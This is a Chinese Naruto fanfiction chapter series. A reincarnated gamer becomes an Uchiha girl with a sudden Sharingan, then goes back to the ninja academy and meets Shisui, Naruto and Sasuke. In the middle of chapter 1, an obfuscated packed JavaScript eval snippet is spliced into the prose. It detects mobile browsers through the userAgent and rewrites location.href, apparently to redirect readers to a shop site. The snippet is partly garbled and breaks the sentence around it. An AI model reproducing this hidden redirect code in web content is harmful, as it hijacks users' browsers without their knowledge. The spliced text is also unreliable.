《当火影从让团藏痛哭流涕开始》 1. “你因为什么而开眼?” 今天,宇智波族地陷入隐约的骚动,虽然早有通知是说长老家的儿子订亲,但那凄厉的惨叫声显然不能简单理解成喜事临门时的直抒胸臆。 我捂着眼,穿越的后遗症以及大悲的心情导致我五感混乱,以至于指缝间淌下温热的液体时,我以为我是在痛哭流涕。 妈妈,我再也不熬夜打游戏了。 这个没有手机电脑游戏机,没有肯○基麦○劳达○乐但一睁眼就有臭脸大叔催婚的世界,果然还是毁灭比较好。 在幻觉中看到自己化身宇宙中蔚蓝的球体、被一拳打爆的族人发出惨烈的叫声,我也因此从无尽的悲伤中恢复神智,被一路带到族长面前。 我身上团扇的家徽昭示了我也是宇智波的一员,族长宇智波富岳表情严肃的站在廊下,我走进来的时候还看见有个圆圆脸的漂亮小孩趴在柱子后面偷看,和我对上视线后那张绷着表情故作大人的小脸顿时露出一个惊恐的表情。 他像只被莫名摸了尾巴的猫一样灵敏地跑走了,我则被当着族长的面指责: “宇智波绪,你怎么敢对族人动用写轮眼!” 写轮眼? 我摸了摸温热褪去的眼睛,和富岳对视时看到他那石雕似的冷硬的脸也忍不住眉头一抽,终于后知后觉意识到,原来这不是眼泪。 族长夫人是个黑长直的友善女子,她给了我一份热毛巾让我擦脸,并且好心地借给我了族长家的私人盥洗室—— 族长家也这么朴素吗? 我看着这上世纪风格的内饰,眼睛一热,越发开始想念我原本的小窝。 澄明的镜面映出我有些狼狈的模样,擦去血迹后是宇智波一族标志的黑发白肤,五官与我原本长相相同,连名字都一样——绪。 宇智波绪,刚刚他们这么叫我。 血红的眼中,三勾玉在其中缓缓流转,仿佛是神秘的漩涡一般吸人视线。 放在很早之前,我做梦都想有一双这么狂拽酷炫的眼睛,满足我中二时期的幻想。 但很快我的兴趣就从当忍者变成了其他,一些更现实的东西。 我想成为《干物妹小○》里那种吃喝玩乐不会长肉、通宵打游戏不会猝死的废宅卡密。 是的,我正是因为熬夜打游戏猝死而穿越的。 当时在摸到脸上湿湿热热的液体时,我有一瞬间是在犹豫我是不是该喊出那经过几个通宵已经成功刻入DNA的口号—— 偏铝酸钠! 但事实是我开了三勾玉的写轮眼。 “从未开眼直接开启三勾玉吗……” 早在事情发生时就有消息递上了族长桌案,不出意外村子那边知道的不会比他晚多少——不,以宇智波如今被严密监视的局面,比他还早知道说不定都有可能。 富岳审视着面前的少女,宇智波是个传承千年、历来以强者为尊的忍界大族,在今天之前他并未留心宇智波绪这个名字。 按照资料,她是个宇智波和外族的混血,父方的姓氏未曾听闻,说不定连忍者都不是。被任务归来怀孕的母亲生下来后就养在族地里,从小也没有展露过什么忍者的天赋。 而她的母亲在惨烈的战争中战死,留下这么一个忍校都无法毕业的女儿,族中的安排自然是给她找个夫家嫁了,为宇智波延绵血脉。 至于对象为什么会是长老家,则是因为那个孩子看上宇智波绪的脸,非她不娶,哭着闹着才让父母松口。 闻讯赶来的长老也关注到了宇智波绪脸上收不住的写轮眼,那份被愚弄的怒火顿时被收敛,相比起一个本就不喜的儿媳妇,三勾玉的写轮眼已经是族中万花筒之下顶尖的战力。 在这个时刻—— 在这个局面—— 我:“……” 在这具身体已有十六岁的前提下,我被通知要回小学重造了。 木叶村建村以来,六七岁毕业的天才每代频出,十六岁还没有忍校毕业的吊车尾却是货真价实的头一遭。 这个举世无双的罕例还姓宇智波。 族长大概也觉得丢人,但无奈成为下忍前必须要有忍校的毕业证书,他和那个须发皆白的老头商量一阵后,还是决定让我回炉重造。 富岳:“我会替你申请提前毕业。” 富岳:“考试时间可以定在三天之后。” 他说的如此理所当然,让我忍不住怀疑五谷不分、四肢不勤,浑身上下充斥废宅气息的我是否因为这双写轮眼而给了他一些错误的希望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022572|148724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我一指自己:“提前毕业?真的假的?” 他抬头,同样是三勾玉在眼中缓慢旋转,我感觉到面前仿佛有水波纹漾开,和室里阳光微暗,有什么光怪陆离的世界似乎要钻出阴影,迫不及待在我面前展开…… 我打了个冷战。 此时的我尚未知晓这并非完全是幻术的效果,但富岳看到我很快回神,满意地点了点头。他并未使出全力,只是想让我认识到,写轮眼之所以被无数人窥探,便是因为每一次进化,都会带来普通忍者望尘莫及的改变。 即使是我这样半吊子(可能都算不上)的忍者,也不例外。 或者说在开启三勾玉的这一瞬间,天才与吊车尾的身份立时就反转了。 长老离开时没有再提婚约之事,但那双因为岁月而变得浑浊的眼睛望向我时,我依旧没有我身为一个人的实感,仍然感觉我像是一份待价而沽的货物。 这艹蛋的世界。 当置身于隔着屏幕看就已经充满黑深残的世界时,我终于合情合理、毫不意外地说出了每一个反派都要说的这句话: 错的不是我,是这个世界。 毁灭吧。 我累了。 在离开前被族长叫住问话时这份心累达到了全新的高度。 富岳:“你……是因为什么而开眼的?” 我:“……” 我:“……” 我:“……” 我能说什么,因为没有手机电脑游戏机,也吃不上肯○基麦○劳达○乐吗? 族长坐在背光的小几后,那闪动的血红的光芒是战场上让人闻风丧胆的死神通告,我毫不怀疑此刻我脸上所有的表情都在被记录、揣摩、审视—— 这到底是什么时间段? 我试图搜刮我脑子里那些久远记忆的最后光影,在一沓不可在可燃物日丢弃的少年jump里找出命运牵引的丝线。 最后我发现我没有脑子(悲) 日上高头,庭院中的叶片上最后一滴水珠也蒸发殆尽。 我踏在光与影的交界线,在宇智波富岳那简直是打量核弹般打量我的眼神里百忙之中抽空给出了我的答案: “恐婚恐育。” 我说。 2. “你的名字是?” 富岳:“……” 理解一个宇智波首先要理解他的眼神。 此刻我和族长的心贴的无比接近,因为我真的看懂了他现在在把我当傻蛋。 在一阵死亡般的静默后,他斟酌着、用一种你治好了恐怕也要流口水的破罐破摔的语气说:“不然你还是再休息两天吧。” “两天之后,会有人带你去忍校。” *** 虽然心情有点复杂,但能够多拖两天对我来说实在是太好了。 遇见困难睡大觉! ……是不存在的。 因为那天离开之前,富岳看起来根本不信我给出的理由,于是在他明里暗里的连环套话里,我最终不得不发动小说女主角的命定技能:原地失忆。 “我记不清了。” “头好痛哦。” “想不起来也没有办法啦。” 被我如此搪塞的富岳气极反笑,他最后问我:“你还记得忍校是要考文化课的吗?” 我真切的惊讶了:“什么!” “如果毕不了业族里给你的补助会全部收回。”轻易提起我命运的后颈皮的族长冷酷道,“包括你现在所居住的房产也是族中发放的。” 为了不在新手期未过、钱包空空的时候就流落街头,今天,我不得不表情凝重地翻开家里垫在桌脚下积灰多年的课本—— 顺带一提,刚穿来的时候还没有注意,昨晚又因为头痛欲裂而简单洗漱完后就倒头入睡……等到我终于有空闲关注我身边环境时,我立即对这凌乱中透着有序、有序中不失凌乱的卧房风格表达了高度的赞赏。 我说:“这简直就是我。” 而在此刻看到笔迹空空、最多来两个小乌龟涂鸦的课本时,我说: “这完全就是我。” 如果不是真的看到过别人飞檐走壁、我的眼睛也确实闪烁过诡异红光(?),比起跨次元的忍者世界,我一定更愿意相信这是某个我大学毕业后选择搬回乡下老宅躺平的平行世界。 这种相似除了让我感到一丝诡异的安慰外,另一种诅咒般的想法在我心里攀升了起来: 难道叫做绪的人都注定是废宅吗……! 原本的宇智波绪没有给我留下任何记忆,她也没有写日记的习惯,这间地处族地外缘的房子证实之前她在族中不受重视。而宇智波因为九尾之乱搬迁过一次,族地的扩大导致周围“邻”居与她不甚熟悉,这对鸠占鹊巢的我来说无疑是个好消息。 而当我看向手边一摞的漫画书、桌边不远显然是被无意间踢开的空啤酒罐时,我的表情空白了一瞬: 喂喂,这家伙不会也是因为…… 难道叫做绪的废宅的结局都注定是这样的吗……! 我放下课本,感觉始终缠绕在我心头的侵占他人人生的愧疚感瞬间淡去,与此同时我的眼睛又火热了起来。 毁灭吧。 我累了。 穿越第二天,我因为洞察了惨痛的人生真相而瞳孔地震,那三颗勾玉如蝌蚪似的在我眼瞳之中乱窜,时而分散时而相聚,最终在它们隐约有融合为全新图案的意图的时候,我捂着脑袋抬头。 啊,好痛。 因为低头幅度太大而磕出“砰——”的一声声响,我捂着额头的大包,压根没注意刚刚发生了什么,眼睛一热那肯定是因为我热泪盈眶。含泪打开手边的漫画,我现在决定要以批评家的冷酷眼光来审视它: 我的眼睛就是尺! “我明白了。” “原来如此。” “这种程度……” 期间我从某处架子下拖出一箱啤酒,等到我合上漫画书、放下微醺的小酒后再看向外面的天色,我后知后觉地意识到:“糟糕!” 天亮了。 桌案上靠边到差点掉下去的课本还保持着最初时刻摊开的模样,我盯着那只墨水笔涂画的小乌龟,隐隐约约的,族长宇智波富岳表情险恶的脸逐渐长了出来,“考不过试你就去睡桥洞吧!”他从龟壳里伸出头大喊大叫。 我:“……” 我:“……” 我:“……” 什么鬼。 不过事已至此,我瘫在榻榻米上,放开挡住眼睛的手,直接滚回了铺开的被褥里,安详拉上被子:“先浅睡一觉吧。” 下午我一定爬起来学……zZZZ 几乎闭上眼的下一秒,我就陷入黑沉的酣眠。 而此刻半开的窗户外,鸟雀啼鸣,树叶无声的颤动一瞬。 木叶村,某个阴暗的房间内—— “那个宇智波的新三勾玉动向如何?”想必一定在肆意挥霍这份力量吧。哼,刻在宇智波骨子里的劣根性。 “回大人,她已经睡了一天一夜了。” “……哦?” “那她醒了吗?” “她还在睡。” “???” *** 言川小和有着和名字不一样的庞大身躯,以及一个在村子里当中忍的哥哥。 在忍校,这两点足够让他横行霸道,更何况他行事向来谨慎,只挑软柿子捏。每一个新入学的小朋友都会被他拦到角落,要么是交出出门前父母给的早饭钱,要么就是他挥舞拳头说:“喂,我说你,见没见过沙包大的拳头?” 这一天是普通的一天。 言川小和照旧来到离校门口不远的地方躲避老师的视线,他看着那些低年级的小孩鹌鹑似的走过去,看到他还没有伸手就主动交出了钱包,言川小和将一把零钱揣进口袋,并没急着失望。 因为他听说今天班级里有个好多年都没能毕业的插班生要来,是传说级别的、吊车尾中的吊车尾。 听说还是某个家族的大小姐。大家族的小孩就更不用说了,为了家族荣誉他们从来不会打了孩子来了爹。 言川小和摩拳擦掌,这是怎 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我看着这一直堵在路上、发出莫名笑声的小胖同学,本来的打算是请他让个路,毕竟我好像已经快迟到了。但我看他年纪不大,一看就是该受读书折磨……熏陶的时候,于是决定劝导迷途少年走回人生正途顺便让他给我带个路——富岳说好的今天有人带我但根本没等到人! 男人果然都是大猪蹄子! 但没想到他好像理解错了什么,不仅在我蛐蛐顶头上司的中途把头低的更低,同时也把钱袋更高的递过来……强行地塞进我的手中。 “请您收下!”他这么大喊着,很好很有精神。我对木叶村民的整体精神风貌有了新的认识。 但把钱——还是这么一袋子叮铃啷当响的零钱给我是什么意思? 我疑惑地想,低头时看到自己今天穿的衣服:存在每个宇智波衣柜的日常款深蓝长袍,背后印着一个团扇家徽,裤子和鞋子不提了,我记得这个时期的宇智波都是村里的警卫队来着? 宇智波=警卫队=警察=…… =为人民服务! 原来如此。 我明白了。 这波啊,这波是热心少年拾金不昧、村民宇智波鱼水一家亲啊! 虽然我只是一个平平无奇普通路过宇智波,但考虑到这关乎宇智波在村子里的风评,我立即接过,并说:“应该的。” 这是人民公仆应该做的!——我是这个意思。 但是这钱肯定也不该放我手上。 而且我真的要迟到了。 此时一个穿着绿色马甲、但看面孔明显是值得信赖的警卫队中坚力量的宇智波突然落到我身边。 他皱着眉一脸不赞同的看我,真是瞌睡来了有人递枕头,我立即高兴地把钱袋塞到他手上:“警察叔叔就是他!”热心红领巾! “!!” “!!” 以为碰上黑吃黑的言川小和:钓鱼执法?! 意图阻止未来下属不当人的宇智波止水:他们可是同辈啊?! 3. “嗨,Siri。” 我把烫手山芋往别人手里一丢后就决定继续去学校。昨天说着要爬起来学习但等到我恢复意识时已经是今天早上了,两眼一睁就是上学,现在能够省掉一些麻烦真是太好了呢。 被我以期待目光注视的小胖同学不知为何脸色惨白,仿佛受到了剧烈的惊吓。说实话我是不明白这么值得一篇宣传稿的场面他何至于此,但想到这个年纪的小孩怎么说都还是应该被怜爱一把的,于是我没急着催他快走,而是问他:“怎么了?” 言川小和:“……” 言川小和:“没、没事……” 他好像说着说着有些哽咽,旁边的宇智波此时晃了晃手中的钱袋,一阵金属的碰撞声响起,将我的注意力吸引了过去。 他是个宇智波里难得一见的卷毛,反应过来后已经换上笑容的脸年轻而清朗——我完全忘记了刚刚随口的称呼,只是盯着他身上标志性的绿马甲回忆了一下: 木叶上忍啊。 难怪我的感觉是“咻——”的一下,身边就多出一个人了呢。 他朝着我说:“我叫止水,宇智波止水。” 我眨了眨眼,所以?感到有些莫名的同时,被社会痛殴过的我还是欠了欠身,同样做了个自我介绍:“宇智波绪,请多指教。” 然后就没有然后了,毕竟我的社交寒暄礼仪培训进度到此为止,倒是也没人投诉过我。如果是上辈子的话对方一般会自觉开始推进业务,但我们之间到底有什么业务要谈啊…… 我又把视线放回到言川小和身上,他浑身一抖,而我指了指他说:“你家住哪?” 言川小和:“!!!” 我说:“送锦旗的话请送给他。” 刚刚我特意点他也是这个意思,总之不要找我。而且如果有锦旗的话,这孩子意图逃课的事曝光后童年说不定能不用那么完整。 我认真地看着宇智波止水,不知为何他脸上笑容越发扩大,好像我刚刚说了什么很好笑的话一样。于是我直接问出来:“有什么可笑的吗?” 明明都穿越到异世界了居然还要上学,实在让人残念,如果能用笑话冲淡一点早起上学的悲伤倒也不错。可惜我好像先天在这方面缺失了什么,每次反应都慢人一步……真是苦恼。 言川小和露出一副要晕厥的表情,而宇智波止水打量了一下我后说,“不……大概只是我生性爱笑。”他中间憋着笑音,只好明显的停顿了一下。 我点点头,有一点遗憾,但要是这样的话那也没办法:“那我就告辞了。” 此时的我完全没意识到周围早已经因为我们三人而成为了真空地带,就像我不知道我从出门起就已经被不少人跟踪了,宇智波止水只是目前唯一现身的一个。 如果我此刻知晓我只是睡了一觉就让某些人血压飙升,我一定要说:不愧是我。 但我现在只是看到一团焰火般的橘色身影从街道尽头冲出来,破开清晨的声音透露出极大的绝望:“糟糕、糟糕糟糕糟糕——上学迟到了啦!!!” 我刚迈开腿,大惊失色:“什么,我迟到了?!” *** “好过分。”我说。 “真是不好意思。” 宇智波止水——富岳派来带我上学的宇智波族人,“和你是一辈啦,叫我止水哥也可以。”他不知为何特意强调这一点。总之现在他在我面前低头道。 “昨天晚上在加班,等到想起来的时候……你明白的。” 宇智波止水在我逐渐犀利的目光里迅速解释了一遍他为何迟到,以及,“你是故意的?”他看着我,很好奇的样子。 我:“?” “什么故意的?” 我正在办公室外等着老师把我领去教室,闻言露出一个疑惑的表情。 “……” 这个在宇智波里绝对算是稀有品种的、看起来应该不属于阴暗挂的家伙今天第一次沉默了。宇智波止水盯着我,自言自语道:“……不像演的。” 我看着他,脑袋上缓慢生长出一个巨大的问号。 而他则很快收敛起表情,没开启写轮眼的眼睛眼瞳漆黑而眼角微翘,让人不可否认漂亮的同时像只化身为人的狐狸。宇智波止水问我:“你对言川怎么看?” 不久之前,言川小和被忍校的老师当着我的面抓走教育去了。 我这才知道他原来是忍校有名的校霸,因为被他打劫的孩子有几个终于忍不住把事情捅到了家长那里,导致我一从围墙翻进来就遇上守株待兔的老师。 我:“……” 难怪宇智波止水还特意和我说直接走大门就好,但我以前上学的时候迟到习惯了就……算了,这是一个忍者动不动就飞檐走壁开高达的世界,哪怕忍校老师那也是中忍。我劝自己放平心态。 此时听他问我这个,我认真道:“只会将力量宣泄给更弱者的家伙,吃点苦头是应该的吧。” 止水微笑着看了我一眼,而我自顾自地接着感叹:“不过确实是好险呢。” 上辈子我的战斗力以0.5鹅来计算,这辈子变成忍者(我始终觉得忍者和人类已经不是一个物种了)可以乘个二,那合计也就1鹅……嗯,在这个穷困潦倒的关节眼打劫我的话我肯定不能忍。 打起来的话三七开吧,校霸三我头七。 描述时我省去了那些不能说的细节,而听完我的话后的宇智波止水:“……” 他沉默良久,再开口时已经被我带偏思路道:“写轮眼怎么说也要乘个二十吧。” 这就是另一个问题了。 但在我开口之前,办公室的门打开了。该说不愧是战争频发、崇尚武力的高危忍者世界吗,忍校的教育可以说是直白而简洁。 言川小和顶着一张猪头脸出来,紧随其后的是因为迟到而头顶一个大包、被老师提着命运的后颈皮的的漩涡鸣人。 标志性的黄色刺猬头此刻有气无力的软趴趴的垂下,在我的注意力全放在妈妈我见到真二次元了的时候,负责我的老师已经走到面前:“宇智波同学?” 我回过神:“老师。” 到这个程度宇智波止水的任务已经完成,他好像还有什么事要和我说,但在他开口之前,我首先把他抓到角落里: “我会迟到是你的错吧?” “我道歉了……真是不好意思。” “既然这样,BOSS、啊不,族长大人那边问起来,你知道该怎么做吧?” “?” “扣绩效的 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带着漩涡鸣人离开的老师负责今年的新生,这是我刚刚打探到的消息。佐助和鸣人同岁同班,而漫画开篇的时候他们正是要毕业的年纪,那就是六年之后。 也就是说,宇智波灭族是六年内的事情。 但实际上应该是一年内,也就是佐助7岁时,具体还有多久我不清楚,那个让宇智波兄弟情上升到全新高度的男人就要提着刀走来了。 但现在的我根本没有办法解决这把悬在我头顶的达摩克利斯之剑,即使丢弃宇智波的姓氏也只会是我单方面的行为,毕竟三勾玉都开了,看族长那个态度肯定也是觉得能用的工具人增加了。我现在完全是一个锁死在这艘船上的状态。 因此在必定要正脸接下世界线恶意的一拳的前提下,摆在我面前有两个选择: 其一,打不过就加入。放下个人素质,享受缺德人生!我从今天开始不做人啦! 其二,真理只在须佐射程之内。只要我率先开上高达,就能砸烂反派的锅,让反派绝无好果子吃! ……但以上的前提是,我都要有能支持我做选择的实力。 忍者的能力大致分三个开发方向: 体术、忍术、幻术。 体术?不可能,绝对不可能,我的1鹅战力论证逻辑链坚不可摧。 忍术?就算写轮眼有拷贝眼之称,现在也没有那么多人能让我Ctrl+V,再说了学会也不代表立刻就能在战斗中使用,pass。 那就只剩幻术了。写轮眼同样有加成,而且可以放风筝远离敌人。 但问题是,我一个半路出家的三勾玉玩不过鼬啊! …… 我郁郁地混完今天的理论课,到了下午,则是忍校统一展开的实践课。 而我作为中途插班进来、马上还要进行提前毕业考试的学生,第一时间被负责的老师从队伍里提出来,让我先打一架看看实力。 我:“……” 我:“……” 我:“……” 在周围十几双眼睛的注视下,气氛都烘托到这里了,我沉默一阵后硬着头皮开口: “Siri,打开写轮眼。” 4. “你能再表演一下吗?” 老师:“……” 老师:“……宇智波同学?” 放心吧老师,我绝对不是因为○本没画就对怎么开写轮眼毫无概念,这只是我计划的一部分,中间的忘了,总之我有我自己的节奏。 仗着腿长优势我一个滑步,在最后关头闪过对手的攻击。好险,差点被一拳打死。趁着喘息的间隙我再度开口:“小爱同学?” 挥舞沙包大拳头的言川小和愤怒大喊:“我叫言川你给我记住啊!” 一边玩去吧言川同学。没人叫你。 我在老师“……”的表情里秦王绕柱,眼睛迎风瞪了半天除了干的我想流泪之外毫无用处。 居然既不是感应灯也不是声控灯。可恶,这一刻我突然有种格格不入、被所有宇智波排挤的挫败感。 被称作查克拉的能量汇聚在言川小和的拳头上,每一次与我擦过时都让我心脏狂跳,幻视我被锤成饼饼的场景。而他也明显因为攻击的落空而愈发焦躁起来,每一下攻击破开的风声都更重,那股高昂的情绪最后极端到我已经无法忽视的程度: “哈,我在霸凌他们?” 我好像在那一瞬间置身到了一个晦暗扭曲的世界。视野忽明忽灭,而我的前方,【言川小和】脸上布满重重阴影。 在富岳的和室里,当他对我使用幻术而让我的写轮眼本能启动后,我看到的、以及没来得及看到的场景再度——并以一种更明晰、更具冲击力的方式于此刻出现在我眼前: 空气中好像有什么东西在扭曲、像是波纹般一圈圈荡开,那是怎样一个世界?我无端感觉到了被拉扯的感觉,又像是沉入水中,阴影狂乱扭动,然后凝聚成型: 【言川小和】 他此刻看着我,嗓音尖锐:“白痴,这个世界本来就是谁拳头大谁说话。*” “强者享受世界,弱者当然只有被当作肥羊宰啊!*” “敢愚弄我的臭虫,受死吧!*” ……………… ………… …… 等我回过神来时,耳边已经是一片惊叫。三勾玉写轮眼对幻术有极大的加成,因此所有人都将突然呆滞后跪倒在地的言川小和的败因归结于此,充当裁判的老师甚至露出惨不忍睹的表情: “结和解之印吧……宇智波同学,现在可以把你的写轮眼关掉了。” ——因此他们也觉得痛哭出声、满脸鼻涕眼泪的言川小和是被我的幻术影响……没有这么恶趣味啦我! “对不起、我不该恃强凌弱,抢别的小朋友的零花钱……” “我会好好还钱的呜呜呜……” 在校霸当众爆哭、一阵自爆卡车吸引全部注意力时,我悄悄咪咪后撤。我摸着被藏到宽松袖口里的钱袋,想到它虽然来路不能说不正但也不可以轻易对人开口……总之我现在有种强烈的偷感。 当然,目前来说其实更重要的是另外一点……我表情凝重,但我的同学完全没有放过我: “宇智波同学,你能再表演一下吗?” “……什么?” “那个、就是那个——” “偏铝酸钠——” 我:“……” 毁灭吧,赶紧的。 *** 这所谓的考前摸底就这么虎头蛇尾的结束了,原因是开了写轮眼我是秒天秒地的挂逼,不开写轮眼我岂不是站着挨打的傻【哔——】。 而我的同学也因为校霸的前车之鉴而纷纷像躲避沾○拖把一样躲着我,但因为这玩意舞起来确实演出效果拉满而依依不舍聚在我周围——总之话糙理不糙虽然我有点太糙了但我的意思就这个: 不要再问我偏铝酸钠是什么为什么要喊偏铝酸钠了!!别学了不是竖起一根手指在鼻子旁边学了也不准向左看我啊啊啊够了!! 因为当众扮演魔法少女……啊不是,当众中二病大爆发而羞耻感拉满的我想要立即提桶跑路,但看完比试后觉得我幻术一流体术不入流的老师表示好怪并打算再看一眼,然后就抓着我单独来摸底我的体术。 我成功让他长了见识: “宇智波同学,训练场上不能睡觉!” 我安详的平躺在地上,一边觉得忍者体质真他爹的牛逼,横飞出去十几米居然也没摔死我,一边觉得我真苦,果然人只要能吃苦就会不停吃苦。 老师表示他真的没用力并且申明拒绝碰瓷后一五一十把我的练习评价记录下来,等到我走出校门时,天色昏暗,落日的辉光洒在木叶人声熙攘的街头,我摸摸脸颊的创可贴,和摸着头顶尚未消退大包的漩涡鸣人一同叹了口气。 他还附带一声肚子空空发出的悲鸣。 漩涡鸣人:“……咦?” 一只在地上摊成饼饼的无主漩涡鸣人被我捡起。 他被我托着腋下平举起时先是震惊地看我,“你也想打劫我的生活费吗?”然后是回过神后的污蔑,“就算你是新任校霸我也是绝对不会屈服的!”他在半空踢着腿大喊。 我:“啥?” 片刻后,我和漩涡鸣人对坐在全木叶村最豪华、最高档,一顿价格让火影伤心让上忍流泪的烤肉店。他脸颊塞得鼓鼓囊囊,以暴风吸入的速度摄取烤好的肉片,同时艰难问我:“没关系吗小绪姐,我们真的付的起钱吗?” 我垂眼看着菜单,对他因为一顿饭就把称呼从可恶的新校霸变成伟大的小绪姐的行为不置可否。我一手翻着菜单加菜,一手拿出鼓鼓囊囊的钱袋往旁边一拍:“听到了吗?” 那声响厚实而沉闷,虽然同出一源,但绝不是早上前校霸那不上台面的、穷的叮铃啷当的零钱袋。我自信道:“这个、这个、这个都多上几盘,再来两瓶酒——给他来份果汁。” 我指指今年六岁的漩涡鸣人小同学。 漩涡鸣人非常激动:“哦哦哦——” 宇智波止水则是说:“忍者三戒——” 我对他随时随地严格要求自己的忍者职业操守表示佩服,于是我转头对服务员说:“那给他也来一份果汁。” 宇智波止水:“……” 平心而论,没有哪个社畜愿意和上司坐在一桌吃饭。宇智波止水之所以会出现在这里,还是因为我拐走…… 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不过我对一件事有点好奇,于是问他:“你打算和谁一起拥护我?” 与原著漫画里一样,鸣人现在背负着九尾妖狐的恶名,村子里的人对他唯恐避之不及,连我这种被他污蔑为校霸的带恶人和他搭话,他都有些别扭的高兴。 所以我还是挺好奇他的“我们”里还包括谁。 漩涡鸣人一顿,那双湛蓝的眼睛黯淡一瞬,正当我后悔干嘛问这个时,他很聪明地往宇智波止水那里看过去:“我们一起?” 正在贤惠烤肉的宇智波止水:“……” 本以为他会沉默到底,没想到这人思考了一下,眼睛弯弯、狡猾地笑了一下:“也不是不行。” 我:“……” 我立刻伸出筷子抢走他夹子下翻烤的肉。 …… 这家烤肉虽然真的很贵,但也是真的好吃。我心满意足地起身,作为小孩子的鸣人早就困顿的头都抬不起来,止水把他喊醒,他揉揉眼睛,说自己的公寓离这里不远可以自己回去。 我知道他的九尾人柱力身份让他身边有许多监视者,安全问题不用担心。但作为一个成熟大人,怎么可能让一个小孩子独自回家。 漩涡鸣人有些不好意思:“……被人送回家还是第一次啊我说。” 我蠢蠢欲动的手最终还是摸上了他的头毛,茸茸的、又有点扎手的刺挠感。妈妈,我也是真二次元了。我摸着知名热血漫男主的头心想。 “总之先结账吧。” 我豪爽地打开钱袋,而在收银小姐越发甜美的微笑之中,我动作逐渐僵硬,冷汗从我脸上滑落下来: 等等、等等。 我看着手里的钞票,面额很大、印刷精美,这都没问题。但这个当仁不让印在正中的、怎么看都好像突破次元的人…… 福泽○吉!!怎么是你!! 我:“……” 我抬眼。 并试图用我新领悟的幻术让老板以为我递过去的纸币是一张一万两。 5. “你们是什么关系?” 总之,在对新技能的实践运用中,我对写轮眼的领悟大大提升,现在已经成功从故障灯变成感应灯(?)了。 而我毕业考试的日子也很快来临——时间上来说是推迟了一天,原因是忍校的老师认为现在的我幻术很有一套,体术实在不忍直视。 “宇智波同学,再好好考虑下吧。”他当时语重心长的这么和我说。 我秒答:“不用考虑了,我要参加。毕竟我的人生规划是在二十岁之前成为火影。” 老师:“……虽然大部分孩子的梦想都是这个,你这个格外狂妄了点。但姑且还是问问你的理由是?” 我:“离异带娃身负巨债早死的爸叛逆的妈破碎的家——以上全部都不是我的理由,但相同的是我很缺钱并在可视的未来里将长期缺钱,希望找到一份稳定高收入的工作。听说成为村长、啊不,火影之后工资丰厚保险齐全,我希望成为火影。” 老师:“……” 他大概是第一次听到我一口气说这么多话,脸上表情都震惊到空白了一瞬。最后他深吸一口气,仔仔细细把话掰开给我说:“成为下忍之后,可是要出任务的。” “宇智波同学,三勾玉写轮眼在你们族中都是罕见,而写轮眼擅长的幻术是一项实在好用的技能,任务中必定会优先考虑派遣你……” 我眼睛一亮:“那我一定能很快赚到人生第一桶金吧!” 老师冷漠脸:“你一定能很快收到你的便当。” 我:“好吃吗?” 他:“零差评,毕竟吃到的人都死了呢。” 我:“……” 我感慨:“果真是剧毒无比啊。” 老师很忧愁的样子:“宇智波同学,我上有老下有小,你可不要吓我。你和老师说实话,昨天训练的时候你确定没有摔到脑子需要我负责吧?” “别害怕啊老师,”我说,“我吃的不多,一顿也就这个数。” 我把昨天止水垫付的账单比出数字,深感自己逃不开被碰瓷命运的老师捂住胸口,露出一副缺氧到快要晕厥的表情。 当然,哪怕老师强烈反对,最后的考试日期还是确定了下来:延后一天,内容为忍校基础的三身术外加一点体术——根本没有笔试,富岳完全就是骗我。而宇智波止水大概被他交代过什么,下忍认定我应该是必过的。 所以现在最迫切的就是…… “替身术!” 我与一截木桩交换位置。 “分身术!” 我与黑发蓝眼、表情冷淡的少女对视。 “变身术——” 身形瘦削的青年略抬下巴,刘海罩下深重阴影,异色的双瞳闪亮仿佛倒映冲天紫焰:“错的不是我,是世界。*” “……” “……” 我丝毫没有受身旁两人诡异沉默的影响,兴致勃勃道:“怎么样怎么样,这一次我加入了一点自己的发挥!” “……零分。”漂亮的宇智波小少年缓缓撇开头,故作矜持的脸上露着一点红晕。 我大惊失色:“为什么,佐助老师!” “不要叫我老师啦!” 族长家的次子、宇智波佐助鼓着脸大喊。他现在远没有遭逢巨变后那样端冷克制的样子,正是无忧无虑傻白甜的年纪,但宇智波祖传傲娇已然在他身上体现的淋漓尽致。 比如他现在就是大声否认后就立刻别扭的移开话题,解释道:“忍者还是要低调一点吧……” “不愧是佐助老师,真是一针见血的评价。” 我立即奉上吹捧,佐助小同学很快在肮脏成年人的花言巧语之中晕头转向,他撇开头道:“太夸张了……我说你,虽然比起哥哥和止水哥还差一点,不过通过考试还是够了。” “诶,还差一点吗?” “毕竟那可是哥哥……和止水哥,宇智波一族最知名的天才!三身术这种最简单的忍术,他们看一遍就会了——不用写轮眼!” 止水哥像个添头呢。我说:“这么厉害啊。” “实事求是啦!不过你要是水平一般我可不会说只比他差一点。” “这是在鼓励我吗?” “……反正明天别给我们宇智波丢脸。”他大概也看出来我之前纯纯混子,佐助想到我今天的进度不禁挫败地鼓了鼓脸,“可恶,写轮眼居然能做到这个地步吗?” “毕竟是拷贝眼嘛!”我伸手在脸边比了个V。 这期间止水一直在用看猫咪喜剧般津津有味的眼神围观我们,没想到继下属成为装饭的桶后我的上司竟然也成为了划水的鱼——身份即将转变为担当上忍的止水是被我通过富岳call出来的,理由是我太想进步了。 至于我为什么不选择在学校练习、剥削据说与我有着长达十年吊车尾师生情谊的老师这件事……不久前放学归家没看到鼬、被触动寻哥雷达的佐助小同学跑过来巡视的时候解密了这一点: “原来是你。”小少爷确定他的哥哥不是被止水拐跑后抱着手臂看我,他仰着头的时候更显得脸蛋圆圆。明明第一天在族长家被我满脸血吓跑过,居然能认出来吗?当时我这么想。 佐助睁着那双黑漆漆的大眼凝视我:“偏铝酸钠——” 在我眼神死之前,他继续说:“是什么意思?他们都说是宇智波祖传秘术,围在我周围吵死了。还有放学的时候漩涡鸣人非要跟着我,说要见宇智波大姐头——也是你?” 我:“……” “偏铝酸钠?” 以及,止水好奇:“难道不是校霸吗?” 